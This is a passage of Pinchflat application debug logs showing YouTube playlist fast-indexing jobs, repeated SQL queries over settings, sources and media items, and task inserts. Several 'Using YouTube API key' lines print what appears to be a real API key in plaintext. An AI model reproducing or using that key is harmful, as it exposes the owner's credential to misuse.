17:26:33.804 [debug] QUERY OK source="settings" db=0.1ms idle=877.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:26:33.804 [debug] QUERY OK source="media_profiles" db=0.1ms idle=871.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:26:33.804 [debug] QUERY OK source="settings" db=0.1ms idle=7.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:26:33.804 [debug] Fetching recent media IDs from YouTube API for playlist: UUHC4G4X-OR5WkY-IquRGa3Q 17:26:33.804 [debug] QUERY OK source="settings" db=0.0ms idle=1.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:26:33.804 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:26:33.926 [debug] QUERY OK source="media_items" db=0.4ms idle=122.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [17, "MvbAEEBLva8", "ZmWREtcDVBE", "qvot0oeaH_4", "uYLwEcxsDkI", "S9GJRC5XSXc", "AbTDzPUDxqY", "GdxFY_wtiOI", "NuEgjAMfdIY", "JYsDN6-XRrc", "nEU3gajt5aA", "0sowY00Ld_Y", "LN1CdJxY2_I", "RhOTMyzTDJw", "FU9J6mrKE28", "-BdZPFzH2JY", "Tvflpm-shoY", "qG04nqjL_iA", "T4tcZAduiVk", "icQmJ4Ty0Os", "GmC05wOc5Dw", "EwXx1AgEVA0", "gmqUvDGRKhk", "9GxXjTQSrLU", "rs1WF2SkjuY", "7EwRD6SzXws", "HZCwg_9zq2A", "2QKPQ6JYVhU", "P7GKK3liv8M", "TaFTKRjMY68", "e2HUg144liM", "Z-iNAyu-ejo", "9KOZUw_Ah8w", "rK2locyo-Pc", "N9OKVCt8dOM", "d9zHO6Lh2zY"] 17:26:33.927 [debug] QUERY OK source="media_items" db=0.2ms idle=122.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [17] 17:26:33.928 [debug] QUERY OK source="tasks" db=0.1ms idle=123.2ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800195, 17, ~U[2026-02-10 23:26:33Z], ~U[2026-02-10 23:26:33Z]] 17:26:33.928 [info] {"args":{"id":17},"id":3800156,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":124566,"event":"job:stop","queue_time":555998,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:26:35.806 [info] {"args":{"id":33},"id":3800157,"meta":{},"system_time":1770765995806792688,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:26:35.807 [debug] QUERY OK source="sources" db=0.1ms idle=1878.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [33] 17:26:35.807 [debug] QUERY OK source="settings" db=0.0ms idle=1872.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:26:35.807 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1008.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:26:35.807 [debug] QUERY OK source="settings" db=0.1ms idle=7.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:26:35.807 [debug] Fetching recent media IDs from YouTube API for playlist: UUG7J20LhUeLl6y_Emi7OJrA 17:26:35.807 [debug] QUERY OK source="settings" db=0.0ms idle=1.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:26:35.807 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:26:35.928 [debug] QUERY OK source="media_items" db=0.6ms idle=120.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [33, "NzsuvbUl7gQ", "HZvj8T5_oUE", "drTjLvO8GGs", "8rJJUfkeZvI", "UnXPSjJCTaA", "dbL5Ht1M5Ms", "9-cfmjKIYkQ", "PLvZPtFrX8Q", "uOLqPKuO2Bo", "Y7c0Pm_UVFQ", "eNgD1kg3U14", "clT0mzdwAAw", "hx_rBNhBMUY", "twQKO6x41lk", "WyL9aPjepWU", "P3gSkMK7_As", "vfvQ-HRUm8Y", "3y0y_Papw2s", "BWbMxeNv_Qg", "VeNvWih_nZM", "4iAEbavS8yc", "_EgbBQuviLk", "pTspjZ4Gjwo", "1hQrvRxwITA", "KG4xHJfvHAw", "yza8omO0x6s", "x0tgdtpjnpc", "ZdH7NdO7efQ", "hi8X2YhiP8A", "yxrbW3ofuJo", "7Sz9VfcOEKo", "baF6VombepE", "Pa53dGNd9Fw", "p3P-Kod95V4", "7y4_DW4L8Hc", "OZUf6aTxUZE", "jgQGUwBGva4", "TeV0gYqyBnY", "ezKhazl-mdI", "pEmZcPGnYfc", "vPA3i--1sM4", "xT4HZZ2N2-c", "vC9N7PgIvEM", "A0mp9XB_MaU", "ZXK6IywE0bQ", "o1wXhGL8_GM", "j801RCel8Nc", "EIUwdOmluFE", "oka31nU8V1c", ...] 17:26:35.929 [debug] QUERY OK source="media_items" db=0.4ms idle=121.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [33] 17:26:35.930 [debug] QUERY OK source="tasks" db=0.1ms idle=122.2ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800196, 33, ~U[2026-02-10 23:26:35Z], ~U[2026-02-10 23:26:35Z]] 17:26:35.930 [info] {"args":{"id":33},"id":3800157,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":123415,"event":"job:stop","queue_time":523609,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:26:36.807 [info] {"args":{"id":11},"id":3800158,"meta":{},"system_time":1770765996807661900,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:26:36.807 [info] {"args":{"id":12},"id":3800159,"meta":{},"system_time":1770765996807711571,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:26:36.808 [debug] QUERY OK source="sources" db=0.2ms idle=877.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [11] 17:26:36.808 [debug] QUERY OK source="sources" db=0.2ms idle=877.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [12] 17:26:36.808 [debug] QUERY OK source="settings" db=0.1ms idle=871.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:26:36.808 [debug] QUERY OK source="settings" db=0.1ms idle=6.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:26:36.808 [debug] QUERY OK source="media_profiles" db=0.0ms idle=0.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:26:36.808 [debug] QUERY OK source="media_profiles" db=0.1ms idle=0.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:26:36.808 [debug] QUERY OK source="settings" db=0.0ms idle=0.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:26:36.808 [debug] Fetching recent media IDs from YouTube API for playlist: UUSOpcUkE-is7u7c4AkLgqTw 17:26:36.808 [debug] QUERY OK source="settings" db=0.0ms idle=0.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:26:36.808 [debug] Fetching recent media IDs from YouTube API for playlist: UU3KEoMzNz8eYnwBC34RaKCQ 17:26:36.808 [debug] QUERY OK source="settings" db=0.0ms idle=0.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:26:36.808 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:26:36.808 [debug] QUERY OK source="settings" db=0.0ms idle=0.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:26:36.809 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:26:36.932 [debug] QUERY OK source="media_items" db=0.7ms idle=123.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [11, "b6cTcdQJ2zQ", "iWi1grPS3pA", "O2e1ccaS34s", "u7Uz1YZ5hQA", "g9PNmvdHTrA", "nGy-c40t2ms", "iRswzm-sFsE", "HiDu9ngFljA", "7HzmabyYgKE", "vlpKMWHJbFQ", "VvANcDa7fJ8", "4yk6HmYKXxs", "0bWl9pZdNNA", "55x-wf8o-7c", "6FlDINylswA", "QJx4LDk2O-8", "0CrkpkKxWfo", "hqmvWpgJCx0", "Ax792f2RbIY", "APT6FONMqFQ", "jTzjkaEKZo8", "1WLIY7oObvU", "01jJv0C_028", "YGTkjchlVJk", "fRRNSEb1DAQ", "lhRp_QECX9g", "eo9_K98nypE", "atYcpCoghnc", "WdxJtYWAhjc", "WczhEQj_g3A", "oN784HF4U5Y", "HLmZAlE-064", "HzxAeHQyiks", "yZ5KOG8BAVU", "HoSf21Arj8A", "Lc5_OKMgfQw", "yD4EoHnztaY", "s8sYp-AcwKk", "bDJNd8XWJIU", "vjrknR9r15o", "_p4RbXLW8aY", "bJ6GRkVCBQU", "iUF8VlcIAyI", "1nuCcmCl-9E", "wqfVfS0_J9M", "905tTzUrd-U", "PMSkzMSFfAo", "QQk7KKQ8jTo", "gVcOnLxnsu0", ...] 17:26:36.934 [debug] QUERY OK source="media_items" db=1.1ms idle=124.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [11] 17:26:36.935 [debug] QUERY OK source="tasks" db=0.1ms idle=126.2ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800197, 11, ~U[2026-02-10 23:26:36Z], ~U[2026-02-10 23:26:36Z]] 17:26:36.935 [info] {"args":{"id":11},"id":3800158,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":127716,"event":"job:stop","queue_time":504839,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:26:37.065 [debug] QUERY OK source="media_items" db=0.8ms idle=129.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [12, "qPHwRGTGIOU", "GPSNT5vjSO8", "DwdL0AuomMU", "rzw4qL_UYms", "SbfGsYGmtvo", "aDMmIaj6YYY", "EapmwCmB2ZU", "wNqOyIOkE0g", "2JE39EiF7QY", "v3CorAvJSj8", "TkTLGcowRjo", "8EjtJZpkuDE", "VevHScaB_Kk", "0rXpncpkLcw", "4w68dxCyjLg", "4lf3C1Jv0sE", "bfKoARppLGw", "ILWWKspXrwY", "FRms-dKHwe8", "yfw74KelJFk", "JXbldzWu-Nc", "3lXAPC-8IC4", "slVuVPAUNI4", "cwNSjMBnZYA", "N1CGq7zSjjM", "0lc3PF49yOQ", "rYivduQ5Xww", "5JfhSmrKK3A", "-4VeoAkKFg4", "Lztt0KYUpRU", "efwg7hwFbeU", "tdU3lMg5K2A", "O8PKhwdFXHk", "vEfPCID6jf4", "e2Kb6Z1oGrc", "7gTz_JmlYtQ", "H175G8NH2Cg", "3EoARmGYyVc", "ogYzdHzumeA", "nrioXZyigd8", "kq3Q7jlcDDQ", "8iprAik8kjk", "yRzc5_uGNO4", "7qTWoV6WUV4", "N1eo5bXtZeM", "QRS3uWoAHBk", "csKezW4PZ2w", "-sDDoW7YAow", "iEAShZ8TJCs", ...] 17:26:37.066 [debug] QUERY OK source="media_items" db=0.5ms idle=131.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [12] 17:26:37.067 [debug] QUERY OK source="tasks" db=0.0ms idle=125.8ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800198, 12, ~U[2026-02-10 23:26:37Z], ~U[2026-02-10 23:26:37Z]] 17:26:37.067 [info] {"args":{"id":12},"id":3800159,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":259925,"event":"job:stop","queue_time":399754,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:26:37.810 [info] {"args":{"id":27},"id":3800160,"meta":{},"system_time":1770765997809976124,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:26:37.810 [info] {"args":{"id":28},"id":3800161,"meta":{},"system_time":1770765997810037907,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:26:37.810 [debug] QUERY OK source="sources" db=0.2ms idle=742.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [27] 17:26:37.810 [debug] QUERY OK source="sources" db=0.2ms idle=742.4ms SELECT s0."id", s0."enabled", 